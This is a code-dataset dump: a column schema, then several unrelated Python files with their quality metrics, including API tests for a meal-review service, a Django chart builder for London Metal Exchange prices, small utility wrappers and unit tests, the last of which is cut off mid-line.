hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
ace75e147168fff8d365bb41cfdff7a76ff403f4
12,120
py
Python
tests/api/test_reviews.py
Rdbaker/Mealbound
37cec6b45a632ac26a5341a0c9556279b6229ea8
[ "BSD-3-Clause" ]
1
2018-11-03T17:48:50.000Z
2018-11-03T17:48:50.000Z
tests/api/test_reviews.py
Rdbaker/Mealbound
37cec6b45a632ac26a5341a0c9556279b6229ea8
[ "BSD-3-Clause" ]
3
2021-03-09T09:47:04.000Z
2022-02-12T13:04:41.000Z
tests/api/test_reviews.py
Rdbaker/Mealbound
37cec6b45a632ac26a5341a0c9556279b6229ea8
[ "BSD-3-Clause" ]
null
null
null
# -*- encoding: utf-8 -*- """Test the views at /api/v1/reviews.""" import uuid import pytest from ceraon.models.reviews import Review from tests.utils import BaseViewTest @pytest.mark.usefixtures('db') class TestFindReview(BaseViewTest): """Test GET /api/v1/reviews/ID.""" base_url = '/api/v1/reviews/{}' def test_nonexistent_get(self, testapp): """Test the a nonexistent get returns a 404.""" res = testapp.get(self.base_url.format(uuid.uuid4()), status=404) assert res.status_code == 404 assert 'error_code' in res.json assert 'error_message' in res.json def test_successful_get(self, testapp, review): """Test that a normal GET works just fine.""" res = testapp.get(self.base_url.format(review.id)) assert res.status_code == 200 data = res.json['data'] assert 'reviewer' in data assert 'description' in data assert 'rating' in data assert 'meal' in data @pytest.mark.usefixtures('db') class TestCreateReview(BaseViewTest): """Test POST /api/v1/reviews.""" endpoints = [ '/api/v1/reviews?meal_id={}', '/api/v1/meals/{}/reviews' ] def setup_method(self, method): """Set up the test class. Pytest will call this for us.""" self.valid_data = { 'description': 'this is my description', 'rating': 4.0, } @pytest.mark.parametrize('endpoint', endpoints) def test_unauthenticated_create(self, testapp, past_meal, endpoint): """Test that we get a 401 if the user is not authenticated.""" url = endpoint.format(past_meal.id) res = testapp.post_json(url, self.valid_data, status=401) assert res.status_code == 401 @pytest.mark.parametrize('endpoint', endpoints) def test_meal_not_joined(self, testapp, endpoint, user, past_meal): """Test that we get a 403 if we didn't join the meal.""" self.login(user, testapp) url = endpoint.format(past_meal.id) res = testapp.post_json(url, self.valid_data, status=403) assert res.status_code == 403 assert 'error_code' in res.json assert 'error_message' in res.json @pytest.mark.parametrize('endpoint', endpoints) def test_meal_in_future(self, testapp, endpoint, user, meal): """Test that we get a 428 if the meal hasn't happened yet.""" self.login(user, testapp) url = endpoint.format(meal.id) res = testapp.post_json(url, self.valid_data, status=428) assert res.status_code == 428 assert 'error_code' in res.json assert 'error_message' in res.json @pytest.mark.parametrize('endpoint', endpoints) def test_guest_can_review(self, testapp, endpoint, past_guest, past_meal): """Test that a guest can review the meal just fine.""" self.login(past_guest, testapp) url = endpoint.format(past_meal.id) res = testapp.post_json(url, self.valid_data) assert res.status_code == 201 assert 'data' in res.json assert 'message' in res.json data = res.json['data'] assert 'reviewer' in data assert 'description' in data assert 'rating' in data assert 'meal' in data @pytest.mark.parametrize('endpoint', endpoints) def test_review_needs_description(self, testapp, endpoint, past_guest, past_meal): """Test that a review needs a description.""" del self.valid_data['description'] self.login(past_guest, testapp) url = endpoint.format(past_meal.id) res = testapp.post_json(url, self.valid_data, status=422) assert 'description' in res.json['error_message'] @pytest.mark.parametrize('endpoint', endpoints) def test_review_needs_rating(self, testapp, endpoint, past_guest, past_meal): """Test that a review needs a rating.""" del self.valid_data['rating'] self.login(past_guest, testapp) url = endpoint.format(past_meal.id) res = testapp.post_json(url, self.valid_data, status=422) assert 'rating' in res.json['error_message'] @pytest.mark.parametrize('endpoint', endpoints) def test_reivew_rating_positive(self, testapp, endpoint, past_guest, past_meal): """Test that a review needs a positive rating.""" self.valid_data['rating'] = -1.5 self.login(past_guest, testapp) url = endpoint.format(past_meal.id) res = testapp.post_json(url, self.valid_data, status=422) assert 'rating' in res.json['error_message'] @pytest.mark.parametrize('endpoint', endpoints) def test_reivew_rating_interval(self, testapp, endpoint, past_guest, past_meal): """Test that a review needs a rating divisible by 0.5.""" self.valid_data['rating'] = 1.7 self.login(past_guest, testapp) url = endpoint.format(past_meal.id) res = testapp.post_json(url, self.valid_data, status=422) assert 'rating' in res.json['error_message'] @pytest.mark.usefixtures('db') class TestUpdateReview(BaseViewTest): """Test PATCH /api/v1/reviews/UUID.""" base_url = '/api/v1/reviews/{}' def setup_method(self, method): """Set up the test class. Pytest will call this for us.""" self.valid_data = { 'description': 'this is my description', 'rating': 4.0, } def test_unauthenticated(self, testapp, review): """Test that unauthenticated gets a 401.""" res = testapp.patch_json(self.base_url.format(review.id), self.valid_data, status=401) assert res.status_code == 401 def test_no_review_found(self, testapp, guest): """Test that a nonexistent review gets a 404.""" self.login(guest, testapp) res = testapp.patch_json(self.base_url.format(uuid.uuid4()), self.valid_data, status=404) assert res.status_code == 404 def test_unauthorized(self, testapp, host, review): """Test that unauthorized gets a 403.""" self.login(host, testapp) res = testapp.patch_json(self.base_url.format(review.id), self.valid_data, status=403) assert res.status_code == 403 def test_update_works(self, testapp, past_guest, review): """Test that updating a review works.""" self.login(past_guest, testapp) res = testapp.patch_json(self.base_url.format(review.id), self.valid_data) assert res.status_code == 200 assert review.rating == self.valid_data['rating'] def test_partial_update_works(self, testapp, past_guest, review): """Test that only partially updating a review works.""" self.login(past_guest, testapp) res = testapp.patch_json(self.base_url.format(review.id), {'rating': 4.00}) assert res.status_code == 200 assert review.rating == 4.00 @pytest.mark.usefixtures('db') class TestReplaceReview(BaseViewTest): """Test PUT /api/v1/reviews/UUID.""" base_url = '/api/v1/reviews/{}' def setup_method(self, method): """Set up the test class. Pytest will call this for us.""" self.valid_data = { 'description': 'this is my description', 'rating': 4.0, } def test_unauthenticated(self, testapp, review): """Test that unauthenticated gets a 401.""" res = testapp.put_json(self.base_url.format(review.id), self.valid_data, status=401) assert res.status_code == 401 def test_no_review_found(self, testapp, guest): """Test that a nonexistent review gets a 404.""" self.login(guest, testapp) res = testapp.put_json(self.base_url.format(uuid.uuid4()), self.valid_data, status=404) assert res.status_code == 404 def test_unauthorized(self, testapp, review, host): """Test that unauthorized gets a 403.""" self.login(host, testapp) res = testapp.put_json(self.base_url.format(review.id), self.valid_data, status=403) assert res.status_code == 403 def test_replace_works(self, testapp, past_guest, review): """Test that replacing a review works.""" self.login(past_guest, testapp) res = testapp.put_json(self.base_url.format(review.id), self.valid_data) assert res.status_code == 200 assert review.rating == self.valid_data['rating'] def test_partial_replace_fails(self, testapp, past_guest, review): """Test that only partially replacing a review fails.""" self.login(past_guest, testapp) res = testapp.put_json(self.base_url.format(review.id), {'rating': 4.00}, status=422) assert res.status_code == 422 assert 'description' in res.json['error_message'] @pytest.mark.usefixtures('db') class TestDestroyReview(BaseViewTest): """Test DELETE /api/v1/reviews/UUID.""" base_url = '/api/v1/reviews/{}' def test_unauthenticated(self, testapp, review): """Test that unauthenticated gets a 401.""" res = testapp.delete(self.base_url.format(review.id), status=401) assert res.status_code == 401 def test_review_not_found(self, testapp, user): """Test that a review not found gets a 404.""" self.login(user, testapp) res = testapp.delete(self.base_url.format(uuid.uuid4()), status=404) assert res.status_code == 404 def test_not_reviewer(self, testapp, host, review): """Test that not being the reviewer gets a 403.""" self.login(host, testapp) res = testapp.delete(self.base_url.format(review.id), status=403) assert res.status_code == 403 def test_review_deleted(self, testapp, past_guest, review): """Test that a reviewer can delete a meal.""" self.login(past_guest, testapp) res = testapp.delete(self.base_url.format(review.id)) assert res.status_code == 204 try_find_review = Review.find(review.id) assert try_find_review is None @pytest.mark.usefixtures('db') class TestGetMyReviews(BaseViewTest): """Test GET /api/v1/reviews/mine/<role>.""" base_url = '/api/v1/reviews/mine/{}' def test_unauthenticated(self, testapp, review): """Test that an unauthenticated user gets a 401.""" res = testapp.get(self.base_url.format('guest'), status=401) assert res.status_code == 401 def test_see_reviewed_meals(self, testapp, past_guest, review): """Test that a user can see the reviews they wrote.""" self.login(past_guest, testapp) res = testapp.get(self.base_url.format('guest')) assert res.status_code == 200 assert res.json['data'][0]['id'] == str(review.id) assert len(res.json['data']) == 1 def test_see_hosted_reviews(self, testapp, host, review): """Test that a user can see the reviews for meals they host.""" self.login(host, testapp) res = testapp.get(self.base_url.format('host')) assert res.status_code == 200 assert res.json['data'][0]['id'] == str(review.id) assert len(res.json['data']) == 1 def test_see_hosts_reviewed_meals(self, testapp, host, review): """Check that the host has reviewed no meals... just a sanity check.""" self.login(host, testapp) res = testapp.get(self.base_url.format('guest')) assert res.status_code == 200 assert len(res.json['data']) == 0 def test_bad_role(self, testapp, user): """Test that you can only specify 'guest' or 'host' as a role.""" self.login(user, testapp) res = testapp.get(self.base_url.format('somethingelse'), status=400) assert res.status_code == 400
39.096774
79
0.624587
1,577
12,120
4.662651
0.101458
0.027608
0.051
0.064599
0.809874
0.771114
0.746906
0.719434
0.674691
0.619339
0
0.024571
0.254538
12,120
309
80
39.223301
0.789264
0.142162
0
0.650943
0
0
0.068425
0.007156
0
0
0
0
0.259434
1
0.150943
false
0
0.018868
0
0.226415
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
acf7d0a3583b5a24a7319164fb9ace9967e88292
57
py
Python
python/cendalytics/education/bp/__init__.py
jiportilla/ontology
8a66bb7f76f805c64fc76cfc40ab7dfbc1146f40
[ "MIT" ]
null
null
null
python/cendalytics/education/bp/__init__.py
jiportilla/ontology
8a66bb7f76f805c64fc76cfc40ab7dfbc1146f40
[ "MIT" ]
null
null
null
python/cendalytics/education/bp/__init__.py
jiportilla/ontology
8a66bb7f76f805c64fc76cfc40ab7dfbc1146f40
[ "MIT" ]
null
null
null
from .education_analysis_api import EducationAnalysisAPI
28.5
56
0.912281
6
57
8.333333
1
0
0
0
0
0
0
0
0
0
0
0
0.070175
57
1
57
57
0.943396
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
4a17dc947a2d3ee2f74382b903d154545a4ff1a8
569
py
Python
src/utest/driver/d_requests.py
Sirius1942/BearSki
bdc75d6f06946896e2128f1c095b9baf9863b124
[ "MIT" ]
13
2019-12-10T09:07:45.000Z
2021-09-08T01:24:22.000Z
src/utest/driver/d_requests.py
Sirius1942/BearSki
bdc75d6f06946896e2128f1c095b9baf9863b124
[ "MIT" ]
1
2020-05-06T01:43:50.000Z
2020-05-06T01:44:46.000Z
src/utest/driver/d_requests.py
Sirius1942/BearSki
bdc75d6f06946896e2128f1c095b9baf9863b124
[ "MIT" ]
6
2020-01-07T07:07:42.000Z
2021-06-04T03:38:19.000Z
import requests def get(url, params=None, **kwargs): return requests.get(url,params,**kwargs) def post(url, data=None, json=None, **kwargs): return requests.post(url, data, json, **kwargs) def delete(url, **kwargs): return requests.delete(url, **kwargs) def put(url, data=None, **kwargs): return requests.put(url, data=None, **kwargs) def patch(url, data=None, **kwargs): return requests.patch(url, data=None, **kwargs) def head(url, **kwargs): return requests.head(url, **kwargs) def options(url, **kwargs): return requests.options(url,**kwargs)
23.708333
49
0.6942
82
569
4.817073
0.207317
0.212658
0.35443
0.243038
0.298734
0.156962
0
0
0
0
0
0
0.128295
569
23
50
24.73913
0.796371
0
0
0
0
0
0
0
0
0
0
0
0
1
0.466667
false
0
0.066667
0.466667
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
5
4a1d69b36d6df8e0cf8b0cf154612c37ba79678b
231
py
Python
ramda/once_test.py
jakobkolb/ramda.py
982b2172f4bb95b9a5b09eff8077362d6f2f0920
[ "MIT" ]
56
2018-08-06T08:44:58.000Z
2022-03-17T09:49:03.000Z
ramda/once_test.py
jakobkolb/ramda.py
982b2172f4bb95b9a5b09eff8077362d6f2f0920
[ "MIT" ]
28
2019-06-17T11:09:52.000Z
2022-02-18T16:59:21.000Z
ramda/once_test.py
jakobkolb/ramda.py
982b2172f4bb95b9a5b09eff8077362d6f2f0920
[ "MIT" ]
5
2019-09-18T09:24:38.000Z
2021-07-21T08:40:23.000Z
from ramda.private.asserts import * from ramda.once import once from ramda.add import add add_one_once = once(add(1)) def once_test(): assert_equal(add_one_once(10), 11) assert_equal(add_one_once(add_one_once(50)), 11)
19.25
52
0.748918
41
231
3.95122
0.390244
0.148148
0.246914
0.209877
0.259259
0
0
0
0
0
0
0.045455
0.142857
231
11
53
21
0.772727
0
0
0
0
0
0
0
0
0
0
0
0.428571
1
0.142857
false
0
0.428571
0
0.571429
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
1
0
1
0
0
5
c5a24ab0716db68a0cd8c623a08d3e5f6b9067d5
7,321
py
Python
core/facade.py
rg3915/goLME
3e662eeaf6e12ddb896bed841ad270a410350fd2
[ "MIT" ]
null
null
null
core/facade.py
rg3915/goLME
3e662eeaf6e12ddb896bed841ad270a410350fd2
[ "MIT" ]
null
null
null
core/facade.py
rg3915/goLME
3e662eeaf6e12ddb896bed841ad270a410350fd2
[ "MIT" ]
null
null
null
from datetime import datetime, timedelta import pandas as pd from django.db.models import Avg from .models import LondonMetalExchange def get_last(): try: last = LondonMetalExchange.objects.values('date').last() return str(datetime.strftime(last['date'] + timedelta(days=1), '%d-%m-%Y')) except TypeError: return str(datetime.strftime(datetime.today(), '%d-%m-%Y')) def get_last_thirty_days(): last = get_last() first = datetime.strptime(last, '%d-%m-%Y') - timedelta(days=30) return str(datetime.strftime(first, '%d-%m-%Y')) def get_last_five_weeks(): last = get_last() first = datetime.strptime(last, '%d-%m-%Y') - timedelta(weeks=5) return str(datetime.strftime(first, '%d-%m-%Y')) def get_lme(date_from=None, date_to=None, limit=40): if date_from is None: date_from = get_last_five_weeks() else: date_from = date_from if date_to is None: date_to = get_last() else: date_to = date_to date_from = datetime.strptime(date_from, '%d-%m-%Y') date_to = datetime.strptime(date_to, '%d-%m-%Y') lme = LondonMetalExchange.objects.filter(date__range=(date_from, date_to))[:limit] return lme def json_builder(lme_prices): itens_list = [] for item in lme_prices: itens_list.append( { "data": item.date, "cobre": item.cobre, "zinco": item.zinco, "aluminio": item.aluminio, "chumbo": item.chumbo, "estanho": item.estanho, "niquel": item.niquel, "dolar": item.dolar } ) return itens_list def chart_builder(date_from=None, date_to=None, chart_id='chart_LME', chart_type='line', chart_height=350): if date_from is None: date_from = get_last_five_weeks() else: date_from = date_from if date_to is None: date_to = get_last() else: date_to = date_to date_to = datetime.strptime(date_to, '%d-%m-%Y') date_from = datetime.strptime(date_from, '%d-%m-%Y') lme = LondonMetalExchange.objects.all().order_by('-date').filter(date__range=(date_from, date_to)) lme_last = LondonMetalExchange.objects.values('date').last() lme_periodo = LondonMetalExchange.objects.filter(date__range=(date_from, date_to)) df = pd.DataFrame( list(lme_periodo.values('date', 'cobre', 'zinco', 'aluminio', 'chumbo', 'estanho', 'niquel', 'dolar', ))) df['date'] = pd.to_datetime(df['date'], utc=True) df = df.set_index(df['date']) df = df.drop('date', axis=1) df.fillna(method='ffill', inplace=True) df.fillna(method='bfill', inplace=True) cobre = [float(item) for item in list(df['cobre'])] zinco = [float(item) for item in list(df['zinco'])] aluminio = [float(item) for item in list(df['aluminio'])] chumbo = [float(item) for item in list(df['chumbo'])] estanho = [float(item) for item in list(df['estanho'])] niquel = [float(item) for item in list(df['niquel'])] dolar = [float(item) for item in list(df['dolar'])] data = list(df.index.strftime('%d/%m/%y')) chart = {"renderTo": chart_id, "type": chart_type, "height": chart_height} series = [{"name": 'Cobre', "data": cobre}, {"name": 'Zinco', "data": zinco}, {"name": 'Alumínio', "data": aluminio}, {"name": 'Chumbo', "data": chumbo}, {"name": 'Estanho', "data": estanho}, {"name": 'Níquel', "data": niquel}, {"name": 'Dolar', "data": dolar} ] title = {"text": 'Cotação LME'} xAxis = {"categories": data, "crosshair": 'true'} yAxis = {"title": {"text": 'Valor'}} context = { 'lme': lme, 'xAxis': xAxis, 'yAxis': yAxis, 'series': series, 'title': title, 'chart': chart, 'chart_id': chart_id, 'lme_last': lme_last['date'], 'date_to': date_to, 'date_from': date_from, 'lme_periodo': lme_periodo, } return context def json_chart_builder(date_from=None, date_to=None, chart_id='chart_LME', chart_type='line', chart_height=350): if date_from is None: date_from = get_last_five_weeks() else: date_from = date_from if date_to is None: date_to = get_last() else: date_to = date_to date_to = datetime.strptime(date_to, '%d-%m-%Y') date_from = datetime.strptime(date_from, '%d-%m-%Y') lme = LondonMetalExchange.objects.all().order_by('-date').filter(date__range=(date_from, date_to)) lme_last = LondonMetalExchange.objects.values('date').last() lme_periodo = LondonMetalExchange.objects.filter(date__range=(date_from, date_to)) df = pd.DataFrame( list(lme_periodo.values('date', 'cobre', 'zinco', 'aluminio', 'chumbo', 'estanho', 'niquel', 'dolar', ))) df['date'] = pd.to_datetime(df['date'], utc=True) df = df.set_index(df['date']) df = df.drop('date', axis=1) df.fillna(method='ffill', inplace=True) df.fillna(method='bfill', inplace=True) cobre = [float(item) for item in list(df['cobre'])] zinco = [float(item) for item in list(df['zinco'])] aluminio = [float(item) for item in list(df['aluminio'])] chumbo = [float(item) for item in list(df['chumbo'])] estanho = [float(item) for item in list(df['estanho'])] niquel = [float(item) for item in list(df['niquel'])] dolar = [float(item) for item in list(df['dolar'])] data = list(df.index.strftime('%d/%m/%y')) chart = {"renderTo": chart_id, "type": chart_type, "height": chart_height} series = [{"name": 'Cobre', "data": cobre}, {"name": 'Zinco', "data": zinco}, {"name": 'Alumínio', "data": aluminio}, {"name": 'Chumbo', "data": chumbo}, {"name": 'Estanho', "data": estanho}, {"name": 'Níquel', "data": niquel}, {"name": 'Dolar', "data": dolar} ] title = {"text": 'Cotação LME'} xAxis = {"categories": data, "crosshair": 'true'} yAxis = {"title": {"text": 'Valor'}} context = { 'xAxis': xAxis, 'yAxis': yAxis, 'series': series, 'title': title, 'chart': chart, 'chart_id': chart_id, } return context def get_remote_addr(request): x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR') if x_forwarded_for: ip = x_forwarded_for.split(',')[0] else: ip = request.META.get('REMOTE_ADDR') return ip def get_lme_avg(lme): media_cobre = lme.aggregate(Avg('cobre')) media_zinco = lme.aggregate(Avg('zinco')) media_aluminio = lme.aggregate(Avg('aluminio')) media_chumbo = lme.aggregate(Avg('chumbo')) media_estanho = lme.aggregate(Avg('estanho')) media_niquel = lme.aggregate(Avg('niquel')) media_dolar = lme.aggregate(Avg('dolar')) return { 'media_cobre': media_cobre, 'media_zinco': media_zinco, 'media_aluminio': media_aluminio, 'media_chumbo': media_chumbo, 'media_estanho': media_estanho, 'media_niquel': media_niquel, 'media_dolar': media_dolar, }
31.556034
112
0.585712
922
7,321
4.470716
0.123644
0.054343
0.032751
0.054343
0.729258
0.729258
0.703542
0.703542
0.703542
0.675158
0
0.002727
0.248737
7,321
231
113
31.692641
0.746727
0
0
0.627778
0
0
0.14233
0
0
0
0
0
0
1
0.05
false
0
0.022222
0
0.127778
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
c5b868c01104f0231bb3d2308680e3f36c8c3c98
94
py
Python
apps/shipping/admin.py
lucasjaroszewski/Due-Gatti
e6ade041f23454b490661261af11bc065db80b54
[ "MIT" ]
null
null
null
apps/shipping/admin.py
lucasjaroszewski/Due-Gatti
e6ade041f23454b490661261af11bc065db80b54
[ "MIT" ]
null
null
null
apps/shipping/admin.py
lucasjaroszewski/Due-Gatti
e6ade041f23454b490661261af11bc065db80b54
[ "MIT" ]
null
null
null
from django.contrib import admin from . models import Shipping admin.site.register(Shipping)
18.8
32
0.819149
13
94
5.923077
0.692308
0
0
0
0
0
0
0
0
0
0
0
0.117021
94
4
33
23.5
0.927711
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
c5cd745a8227715e31680082cedb37fb93c0739c
566
py
Python
tests/common/config_test.py
Josverl/mipystubber
504814224b38208e9886661b181a57d2b9077be1
[ "MIT" ]
1
2019-03-26T16:03:04.000Z
2019-03-26T16:03:04.000Z
tests/common/config_test.py
Josverl/mipystubber
504814224b38208e9886661b181a57d2b9077be1
[ "MIT" ]
null
null
null
tests/common/config_test.py
Josverl/mipystubber
504814224b38208e9886661b181a57d2b9077be1
[ "MIT" ]
null
null
null
from typing import Dict from pathlib import Path import stubber from stubber.utils.config import StubberConfig def test_toplevel_config(): # exists on top-level assert stubber.config assert isinstance(stubber.config, StubberConfig ) print(stubber.config) assert isinstance(stubber.config.stub_path, Path ) assert isinstance(stubber.config.repo_path, Path ) # assert isinstance(stubber.config.fallback_path, Path ) # assert isinstance(stubber.config.mpy_path, Path ) # assert isinstance(stubber.config.mpy_lib_path, Path )
29.789474
60
0.757951
71
566
5.929577
0.352113
0.247031
0.327791
0.413302
0.565321
0.565321
0.190024
0
0
0
0
0
0.166078
566
18
61
31.444444
0.891949
0.314488
0
0
0
0
0
0
0
0
0
0
0.4
1
0.1
true
0
0.4
0
0.5
0.1
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
c5d970ebe114972d5e8fcd20b70a76b99754cf28
154
py
Python
python/8kyu/ensure_quesion.py
Sigmanificient/codewars
b34df4bf55460d312b7ddf121b46a707b549387a
[ "MIT" ]
3
2021-06-08T01:57:13.000Z
2021-06-26T10:52:47.000Z
python/8kyu/ensure_quesion.py
Sigmanificient/codewars
b34df4bf55460d312b7ddf121b46a707b549387a
[ "MIT" ]
null
null
null
python/8kyu/ensure_quesion.py
Sigmanificient/codewars
b34df4bf55460d312b7ddf121b46a707b549387a
[ "MIT" ]
2
2021-06-10T21:20:13.000Z
2021-06-30T10:13:26.000Z
"""Kata url: https://www.codewars.com/kata/5866fc43395d9138a7000006.""" def ensure_question(s: str) -> str: return s if s.endswith('?') else f"{s}?"
30.8
71
0.668831
22
154
4.636364
0.772727
0
0
0
0
0
0
0
0
0
0
0.148148
0.123377
154
4
72
38.5
0.607407
0.422078
0
0
0
0
0.060241
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
c5e8e81f53c9a028afd5c62529f6f44ef2bb840b
7,015
py
Python
python/test/test_utils.py
arctrong/md2html
fb8462ab1181dfc26a1ae9988684d381502dc97e
[ "Apache-2.0", "MIT" ]
null
null
null
python/test/test_utils.py
arctrong/md2html
fb8462ab1181dfc26a1ae9988684d381502dc97e
[ "Apache-2.0", "MIT" ]
null
null
null
python/test/test_utils.py
arctrong/md2html
fb8462ab1181dfc26a1ae9988684d381502dc97e
[ "Apache-2.0", "MIT" ]
null
null
null
import sys import unittest from pathlib import Path sys.path.append(Path(__file__).resolve().parent.parent) from utils import * class UtilTest(unittest.TestCase): def test_strip_extension(self): self.assertEqual('file_with_one', strip_extension('file_with_one.extension')) self.assertEqual('file_with.two', strip_extension('file_with.two.extensions')) self.assertEqual('file_without_extension', strip_extension('file_without_extension')) self.assertEqual('.file_without_name', strip_extension('.file_without_name')) self.assertEqual('a', strip_extension('a.file_with_short_name')) self.assertEqual('file/with/path', strip_extension('file/with/path.txt')) self.assertEqual('with\\path_without_ext', strip_extension('with\\path_without_ext')) self.assertEqual('with/dotted.path/name', strip_extension('with/dotted.path/name.ext')) self.assertEqual('with\\dotted.path/name', strip_extension('with\\dotted.path/name')) self.assertEqual('with/dotted.path/.name', strip_extension('with/dotted.path/.name')) self.assertEqual('with\\path/a', strip_extension('with\\path/a.ext')) def test_strip_extension_Path_input(self): self.assertEqual('file_with.two', strip_extension('file_with.two.extensions')) def test_strip_extension_special_cases(self): with self.assertRaises(TypeError): strip_extension(None) self.assertEqual(Path(''), Path(strip_extension(Path('')))) self.assertEqual('file_with.two', strip_extension(Path('file_with.two.extensions'))) self.assertEqual(Path('file/with/path'), Path(strip_extension(Path('file/with/path.txt')))) self.assertEqual(Path('file\\with\\path'), Path(strip_extension(Path('file\\with\\path.txt')))) def test_blank_comment_line(self): self.assertEqual(' ', blank_comment_line('#comment', '#')) self.assertEqual(' \n', blank_comment_line('#comment\n', '#')) self.assertEqual(' \r\n', blank_comment_line('#comment\r\n', '#')) self.assertEqual(' ', blank_comment_line(' #comment', '#')) self.assertEqual('not comment', blank_comment_line('not comment', '#')) self.assertEqual('not # comment', blank_comment_line('not # comment', '#')) self.assertEqual(' ', blank_comment_line('#', '#')) self.assertEqual(' \n', blank_comment_line('#\n', '#')) def test_first_not_none(self): self.assertEqual(1, first_not_none(None, 1, 2)) self.assertEqual(None, first_not_none(None, None, None)) self.assertEqual(None, first_not_none()) self.assertEqual([], first_not_none([], [1, 2])) d = {'a': 1} self.assertEqual(1, 